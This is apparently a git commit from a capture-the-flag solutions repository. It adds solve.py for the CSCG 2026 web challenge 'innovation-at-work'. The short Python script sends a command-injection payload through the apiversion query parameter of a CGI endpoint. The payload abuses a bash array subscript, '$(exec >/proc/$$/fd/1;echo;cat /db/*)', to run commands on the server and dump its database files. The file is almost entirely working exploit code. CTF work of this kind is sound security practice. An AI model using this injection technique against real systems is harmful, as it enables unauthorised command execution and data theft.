cscg ist super

2026/cscg/web/innovation-at-work/solve.py

@@ -0,0 +1,12 @@
+import requests
+
+URL = "https://jgojibkxquhifqyvar6c5c6j6n-8000-innovation-at-work.challenge.cscg.live"
+
+def fetch_data(s, apiversion: str, name: str, password: str):
+    url = f"{URL}/get.cgi?apiversion={apiversion}&name={name}&password={password}"
+    r = s.get(url)
+    print(f"{r.status_code}: {r.text}")
+
+with requests.session() as s:
+    payload = "a[$(exec%20>/proc/$$/fd/1;echo;cat%20/db/*)]"
+    fetch_data(s, payload, 'dummy', 'dummy')